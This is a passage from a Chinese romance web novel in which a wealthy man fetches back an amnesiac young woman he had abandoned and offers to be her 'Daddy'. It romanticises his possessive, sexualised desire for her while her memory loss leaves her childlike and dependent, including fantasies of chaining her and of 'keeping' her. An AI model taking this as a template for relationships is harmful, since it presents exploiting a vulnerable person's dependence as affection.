衣帽间和主卧连在一起,空间很大。西装和衬衫按照颜色和材质分门别类地挂好,腕表、袖扣、领带、皮鞋都有固定的区域,没有分毫杂乱,充满了秩序,如此一来,时霂一眼就扫到那条放在换鞋凳上的裙子。 是那件湖蓝色的法兰绒长裙,被洗净烘干,整齐地叠好。不知是哪个粗心的佣人,居然把裙子放在他这里。 明明都已经把她送走了,怎么还处处都是她留下的残局,等着他来收拾? 来自JH的电话… Oreo错误的答案… 欲言又止的哈兰… 裙子… 像是无止尽的多米诺骨牌。 时霂走过去,都没看,直接抓起裙子塞进衣柜,裙摆的一角散开,有什么如蝉翼般轻飘的东西落下来。他没看清,余光一晃,那东西已经落了下去,视线跟着低垂,脚步猛地止住。 一片三角形的浅粉色小蕾丝正盖在他那锃亮的、传统英伦式的黑色牛津皮鞋上。 是她换下来的贴身物。 隔着皮鞋,时霂只觉得脚背被灼烧了,这东西仿佛是一团火。 他冷静地滚了下喉结,俯身,长指勾住这片薄蕾丝,将其拾起,脚背处的灼烧感瞬间传到指尖。 衣帽间无人,很静,全空气系统让洁净的气流循环着。 时霂眨了下眼,深棕色的睫毛非常浓密,令他暗蓝的双眼无比深邃。这是欧美人无法摆脱的基因,毛发总是比亚洲人旺盛,他的睫毛,眉毛,手臂上的汗毛,乃至人鱼线以下的毛发都非常浓密,好在他会定时打理修剪,保持整齐。 蕾丝仍旧挂在指尖,轻薄得没有重量似的,就像她一样。那么轻,那么软,抱在怀里,连压手的重量都没有。 时霂并不想回忆昨晚的狼狈,可大脑不听使唤,疯狂地浮现出种种,画面,气味,温度,还有她咬上来的瞬间,毛绒绒的呼吸喷在了他的喉结,非常痒,痒到浑身都爬满了小虫子。 小虫子不停地往他腹下钻,痒到他有些焦躁。 他犯下了罪恶,对这只天真懵懂的小鸟产生了可耻的欲望,他在上帝面前忏悔了整晚。 现在看来,好像没用。 俊美的面容越发冷峻,显得无比森冷。时霂将蕾丝重重攥进掌心,那股瘙痒又一次钻进他的身体,他越攥越紧,明明松手就能放开,可他好像是被撒旦引诱的人类,完全无法操控自己的行为。 他已经尽量忽略掉那只小鸟,一整天,他都保持着冷漠。 但他高估了自己的道德,克制力,低估了欲望的重力,将他狠狠拉下来。Oreo说的没错,他的的确确被引诱了,他是有原罪的虚伪的人类。 他想吃掉那只鸟,想剥开她的羽毛,抚摸她的鸟喙,抓住她的翅膀,甚至在她脚上戴一条链子。 鬼使神差,脑中闪过某个念头。 他很深地滚了下喉结,尽量让面容保持平静,衬衫马甲笔挺地规训着他发烫的身体,就这样优雅地抬起手臂。 把这片蕾丝放在鼻尖下,像品尝一杯红酒那样,轻轻嗅了嗅。 . 8.Daddy 馨香扑鼻而来,于洗衣液之外,还有一股不易察觉的幽暖,这小巧的东西,包裹着一座隐秘的花园。等时霂反应过来的时候,他的大脑已经将这股味道深深地拓下,挥之不去,他无法装作一切没有发生。 即使没有撒旦的引诱,亚当夏娃也总有一天会偷吃禁果。 是那只小鸟引诱到你了,你才要抛弃她,对吗? 是的。 她什么也没做,就引诱到你了。 你以为把她弄走,扔得远远的,就能继续当个风度翩翩的绅士。 但你不是绅士,你只是一个在背地里对着她的内.裤发..情的变态,恶魔。 时霂微微一笑,明确地告诉了自己这个惭愧的答案。 他身体高大,挡住了顶光,身后拉出一道深重的影子,原本宝石般的眼眸也黑成了一团阴影。 他没有把裙子放进衣柜,而是拿了一个衣架,和他最常穿的那排西服挂在一起。敞开式的区域,一排男士西装中,宫廷风的蓝裙子非常抢眼。挂好裙子后,他慢条斯理地将这条粉色小内裤折好,放进西装内侧口袋,然后拨通座机内线,打给哈兰。 “先生。” 时霂没有换下衬衫马甲,拿了一件外套穿好,又在手腕处沾上微量的香水,动作优雅从容,下达的指令却如同机关枪扫射,精准利落:“拿两颗药过来,让佣人把我卧室旁边的次卧打扫出来,安排直升机,通知JH俱乐部,我一小时后到。” 哈兰不懂这直转急下的剧情,“去做什么?” “接她。” 他决定把这只小鸟豢养起来,陪伴她,爱护她,直到她愿意变成他一个人的小鸟。 他在做善事,上帝会原谅他的。 . 宋知祎把自己埋在衣柜里,不想跟任何人说话,也拒绝吃任何食物,哪怕那巧克力慕斯看上去还不错,她也没胃口。 人在极度伤心的时候,是什么也吃不下的,甚至作呕,反胃,想把吃进去的东西吐出来。 被抛弃的滋味不好受,很想哭,其实她一点也不喜欢哭,可眼泪就是莫名其妙流下来,哭着哭着就睡了过去,再醒来时,天早黑了,不知道是几点。 院中没有点灯,睁眼发现四周一片漆黑,那一瞬间,虚无与恐惧淹没过来,令宋知祎害怕得叫出声。 她不知道在哪开灯,看不见,没有手机,没有电筒,没有任何光源,她只能继续可怜巴巴地躲在衣柜里,把自己缩成一团。 肚子还饿了。好饿。她中午没吃,晚上也没吃。 “有人吗?” “Hello?” 喊了几声,没人。 这里很少有加班的概念,况且这个俱乐部根本不忙,大家都过着秩序井然的生活,到点上班到点下班。食堂也是,晚餐时间一过,餐盘收走,就关门打烊了。想吃东西只能自己做,或者驱车去三公里开外的镇中心买食物,碰到周日,那很不巧,超市商场全部关门。 在宋知祎的潜意识里,她好像从没有在这么黑的地方独处过。 她脑中会偶尔浮出几个画面—— 那是一座巨大的,漂亮的,灯火通明的宫殿,就像时霂住的地方,但更热闹,人来人往,彻夜不息。 那里二十四小时都亮着,亮晶晶,金灿灿,连夜晚的天空也是亮的,霓虹灯中车水马龙,连空气的味道都是甜的,耳边还有悠扬的歌曲,喷泉不停的变换,以及有什么东西扔下去,会撞出清脆咔哒的声音…… 还有一座花园,里面堆满了各式各样的巧克力、蛋糕,她揣着小竹篮,捡都捡不完。 记不起来,想不起这里是哪,可能真的只是一场异想天开的梦,毕竟不会有免费的巧克力给她捡。 对于过去的自己,她就像做了一场梦,醒来时只会残留几缕影子。 宋知祎委屈地把脸埋进膝盖,泪水干掉后皮肤绷得不舒服,她想洗脸又不敢出去,什么都做不了,只能继续睡,睡着了,天亮了,说不定就有人来管她,带她去吃饭。 可是根本睡不着,脑中不断浮现出直升机冷酷离去的画面,眼泪啪嗒啪嗒掉下来。今天过去了,那明天呢,后天呢,她该如何在这个陌生的国家生活?失忆前的她到底在做什么!怎么就跑到这个鸟不拉屎的地方来了! 她知道要坚强,一直逃避是不可能的,可就是很委屈。 “时霂……” “坏人。” “我再也不会相信你了。” “抛弃我……” “那我也抛弃你。” “你根本不是我的妈妈。” “不会有这样坏的妈妈。” “等我想起来我妈妈是谁,我一定要让她帮我出气。” “还有我爹地,他也会狠狠教训你。” “大坏人。” “讨厌你。” “欺负我,抛弃我……” “坏……” 话未落音,一道无奈的低哂忽然响起,立刻,零零碎碎的咕哝停止。 宋知祎闭紧嘴巴,戒备地坐直,红通通的眼睛睁大,虽然什么也看不见。 是谁? “你好……有人在吗?”宋知祎屏住呼吸,大着胆子问。 没有回应。 再出声时,明显多了一丝颤抖,“如果你是鬼,能不能请你不要吓我……” 时霂勾唇,不愿她再害怕,立刻抬手揿亮了灯。 “啪”,黑暗顷刻间溃逃,光明让宋知祎得到了安全感,她深吸气,小心翼翼地从衣柜里探出头。 一双笔直的长腿映入眼帘。驼棕色的西装裤剪裁干净,中线锋利挺括,half break的长度,裤脚刚好触到鞋面。 那是非常干净的皮鞋,干净到不像是用来走路的,就连薄底的边缘也不染尘土。 宋知祎轻微失神,等待了一整天,也怨愤了一整天的人终于出现,不惊喜是不可能的,可委屈更多,她倔犟地咬住唇瓣,就这样保持着角度,一点也不肯再往上看。 她知道这是谁。 这是坏人。 抛弃她的坏人。 不是都抛弃她了,还来做什么。 时霂垂眼望着这颗圆圆的脑袋,蓬松而顺滑的长发像暖绒绒的羽毛。一只生气还倔强的小鸟,会在背后骂人。 “小可怜,抱歉,我来晚了。”时霂温声说着,“工作人员说你一整天都没有乖乖吃饭,是这里的巧克力慕斯不好吃吗?” 这话说的,把他做了什么恶事全部圆过去,可是他声音如此醇厚温柔,像昨晚那杯霞多丽,让她轻飘飘的,很舒服。 宋知祎将唇瓣咬得更紧,双手也不知不觉抓紧了,过了许久,才闷闷说,“你来干什么。” “当然是接你。” 谎言!坏人! 宋知祎握拳,倏地抬起头,对上那张英俊温柔的面庞,她大脑一空,紧跟着就是如潮水般凶猛的委屈:“骗子!你都抛弃我了,为什么又来接我!?这什么鬼地方!黑得要命!巧克力慕斯也难吃死了!难吃死了!” 这委屈几乎要把她淹没掉,眼泪夺眶而出,“你这个坏人!你把我丢在这里一整天,我伤心了一整天!你坐飞机走了……我在底下喊你,一直喊你,你不理我,你丢掉我,抛弃我——” 她无法控制情绪,伤心到整个身体都在抽搐,边哭边抖,恨不得呕出来,脸颊泛起不正常的绯色,眼里爬满了红血丝。 “我讨厌你——讨厌你——” 胸口不停起伏,起伏到夸张的程度。 混乱中,她似乎听见对方叹了一声,紧跟着,一双温柔的大掌包裹住她的脸颊,把她轻轻托起来,“好,我知道,你讨厌我,是我不好。我向你道歉。” 宋知祎定定地看着他,眼泪不停地流,发着抖:“讨厌…你……” “我做错事,讨厌我是应该的。但这是我的错,为什么要惩罚自己?你看,眼睛都哭红了。” “不着急,小雀莺,我会一直在这里,我们慢慢说,好吗?” 他如此平和,从容。 拇指匀缓地摩挲她潮湿的眼尾,声音沉敛、带着不动声色的掌控力:“来,乖孩子,现在听我的指令,吸气——” 宋知祎身体还在不停抽搐,却下意识地听从他的指令,颤颤地吸了一口气。 见她照做,时霂露出欣慰的笑容,那双暗蓝色的眼眸像宽广的大海,像包容一切的夜色,专注凝望谁时,又成了一张网,“再慢慢呼出来……good girl,再一次,呼吸。” “很棒,小雀莺,再自己来一次……” 宋知祎随着他的指令,做了几次深呼吸,剧烈的情绪终于渐渐平复下去,整张脸通红,也潮湿。 她对刚才不受控制的哭泣感到羞愧。 哑着喉咙,委屈地说:“我不是故意哭,我控制不住。因为你很讨厌。” 时霂哪里会怪她,掌心抚上她的后脑勺,“我知道。你受了委屈,你心里难受,你讨厌我。” 宋知祎不说话了,微微撅着唇,湿软的眸子闪着晶莹的光泽。 “先从衣柜出来。你也不是真的小鸟,这也不是你的巢。”时霂绅士地伸出手,放在她身前,“来,扶着我。” 他的手很漂亮,每一根手指都修长而流畅,骨节清晰,看上去蓄满了力量,掌心的纹路很复杂,但不混乱。 不论是捧住她的脸,还是为她擦眼泪,都克制且温柔。 宋知祎还是气,气她居然轻易就被哄好了,真没面子。赌气地在他的手掌上打了一下,想再打一下时,他掌心翻过来,抓住她的手指。 “坏人。”宋知祎咕哝着,要把手收回来,可男人抓得很牢,她根本无力挣扎。 时霂就这样抓住她的手,顺道蹲下来,单膝点地,和躲在衣柜里的宋知祎平视,“刚才说了什么,我没听清楚。” “我说,你为什么要抛弃我!”宋知祎就要问个明白。 “没有抛弃你。”他说。 “也没有丢掉你。” 时霂的指腹贴住她跳动的腕脉,揉了揉,像是在无声地化解她躁动的情绪,“以后不会把你一个人留在陌生的地方超过一个小时。” “真的吗?” “真的,我保证。先出来,好孩子。” 好孩子……宋知祎羞涩也别扭,就在她失神中,男人结实的手臂包住她,如同昨晚那样,很轻易地把她抱出了这间窄小的还有一股木头味的衣柜。 总算是离开了衣柜,宋知祎坐在床上,大口呼吸着新鲜空气。时霂从口袋里拿出方巾递给她擦脸,随后把她的鞋拿过来,蹲下,为她穿好,散开的鞋带被系出一枚漂亮的蝴蝶结。 做完这一切,时霂没有起身,就蹲在她的脚边,像一只决定了低头的兽王,“还想哭吗。” “你才哭。”她瞪了一眼,发出闷闷的哼声,鼻子还有些滞堵。 男人笑了笑,“那我们回家。我亲手做巧克力慕斯给你吃,好吗?这次就原谅我。” 回那座粉色的宫殿,还能吃到时霂亲手做的巧克力慕斯…… “你会做吗?”宋知祎嘀咕着。 “会。但不知道能不能合你的口味,到时候好不好吃都要告诉我,可以吗?那我们现在回家?”他不动声色地握住她的手。 宋知祎也不说回,也不说不回,两条腿晃了晃,就这样扭捏了几秒,最终还是发出很没志气的声音。 眼前这个她只知道名字的男人远比她想象的更强大,强大到不动声色就化解了她所有的脾气,闹腾,别扭。 她没有不原谅的理由,她一点也不想生他的气,她只想躲在他怀里。 变成一只在他羽翼下躲雨的小鸟。 宋知祎觉得这样很有安全感。 . 哈兰在院子里等了许久,见两人终于出来,他长舒一口气,笑着和宋知祎打招呼,“晚上好,My Lady。今天一天还好吗,有没有看见小鹿?” 宋知祎气呼呼地:“一点都不好。没有看见小鹿。时霂抛弃我的时候,你就在边上。你也不是什么好人。” 哈兰着实被堵了下,干巴巴地清着嗓子。 他跟在时霂 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直升机仍旧停在那张巨大的绿草坪上,强劲的风扑上宋知祎红扑扑的脸,刚好降温。JH俱乐部的负责人恭恭敬敬地来送,那个白天试图抓宋知祎,却被她摔了个大跟头的男人也在。他手臂脱臼了,去医院打了个绷带。 时霂瞧他一眼,“怎么受伤了?” 那人垂着头,“没什么大事,先生,不小心摔了。” 时霂颔首,“受伤了就回家休息,去人事走工伤流程。” 宋知祎很心虚,又听不懂他们说些什么,怕这男人向时霂告状,时霂觉得她不乖又反悔不带她走,她连忙松开时霂的手,一溜烟就爬上了直升机。 她心想,如果是她把人的手摔断了,那就真是撞鬼。 时霂感觉掌心一空,脸颊拂过一丝来自发梢的香气,最后交代了几句,步伐沉稳地跟上去。一进机舱,就看见宋知祎已经乖乖坐在来时那个座位,都不用人教,系好安全带,只等着出发。 时霂笑了声,“不用跑这么快,说过不会再丢下你一个人。” 宋知祎抿唇,不打算问他们刚才说了什么,时霂看上去并没有不高兴,她主动提岂不是自投罗网。这点聪明她还是有的。 机舱门自动阖上,噪音被隔绝在外。 飞机缓缓升起,地面的建筑,树木都渐渐变小。到这一刻,宋知祎终于从一整天的梦魇中醒来。 她双眼仍旧红着,潮湿的痕迹很重,忽然解开安全带,爬到时霂身上,坐进他的怀里。 时霂顺手环抱住她,一只手臂就能圈住她整个人,“怎么了。” 宋知祎揪住他的西装领,去嗅他身上清冽的味道,这使她很有安全感。时霂觉得这女孩很粘人,但并不讨厌。 粘人也是好孩子该有的品德。 他喜欢他的小鸟粘着他。 宋知祎酝酿了小半会儿,这才不高兴地说:“时霂,你如果再抛弃我,我一辈子都不会原谅你,而且我也绝对不会再爱你。我还会恨你。” 她的天真带着原始的兽性,爱和恨都很强烈。 “我会陪着你,直到你恢复记忆。”时霂郑重承诺。 “什么意思?”宋知祎眼睛瞪大,很较真:“我恢复记忆了你也可以陪着我啊,你要一直一直陪着我,不准抛弃我,不准丢下我。” 时霂笑了笑,抚摸着她的长发,“会的。” 宋知祎把脸埋进他的胸口。这里好舒服,又软,又硬,又香,又温暖,还有一种致命的吸引的味道,很像妈妈的怀抱。 她埋进去了就不太想出来,整张脸都陷进到男人鼓胀的胸膛里。 布料传导出皮肤的温度和香气,像一颗诱人的热带水果,宋知祎想剥掉皮,真正地埋进去。 时霂轻缓地拍她的后背,这个女孩怎么一直往他胸里钻?他无奈,嗓音低低,“真是个小可怜。” “妈妈……”她喃喃。 “嗯?”时霂没听清她的咕哝。 “妈妈。”宋知祎抬起脸,下巴还是搁在他胸口,舍不得离开,“我都把你当妈妈了。” “……………” 时霂花了三秒钟,理清了这句话的意思,也理清了这小鸟奇怪的依赖和粘人,所以,她一直在把他当…… 妈妈? 若她不能改变这种观念,那真是有些棘手。 毕竟时霂也不想只做她的妈妈。 时霂忽然笑了声,夜色浸染着他俊美华丽的面容,他轻轻掐住宋知祎的下巴,自己则低下头,来到她跟前,这是一种绝对掌控的,强势的姿势,却被他做的非常温柔。 这一刻,宋知祎觉得他不太像妈妈。 “小可怜,你只能偶尔把我当成你的妈妈,在你想家的时候。” “为什么……你都说我是乖孩子了。妈妈才会这样说。” 时霂叹气,把她的下巴抬高,“你总不能把每一个夸你是乖孩子的人当做妈妈吧。” 宋知祎听出了他的不愿意,表示理解,但还是失落,“那好吧。” 失忆让她的精神处于幼鸟阶段,属于孩童的依赖性在她身上很重,她必须要找到一位家长。 其实她还想说——你也可以当我男朋友。可男朋友哪有妈妈份量重呢?男朋友不讨她喜欢了,她就不要啦,但她不会不要妈妈,妈妈也会一辈子都爱她。 不过很快,她又高兴起来,邀请着:“如果你不愿当我妈妈,那可以当我的爸爸,时霂,我的爸爸也很厉害。” 爸爸。时霂还不至于如此变态。 时霂微挑了下眉,眼底含笑时眸色很深:“小可怜,你的爸爸另有其人,但我可以做你的Daddy。” 宋知祎疑惑,“Daddy……不就是爸爸的意思吗。你别想耍我,我英语很好。” 她那富有肉感的嘴唇开合着,于少女的憨厚外还有不可忽视的,属于女人的魅感。 时霂笑着,用拇指按住她的唇珠,这处饱满,绯红,并且弹性很足,不论是摸,还是咬,亦或含住,都一定非常舒服。 他俯身靠近她,嗓音下沉:“Daddy有很多意思,好孩子,你可以与我慢慢探索。” .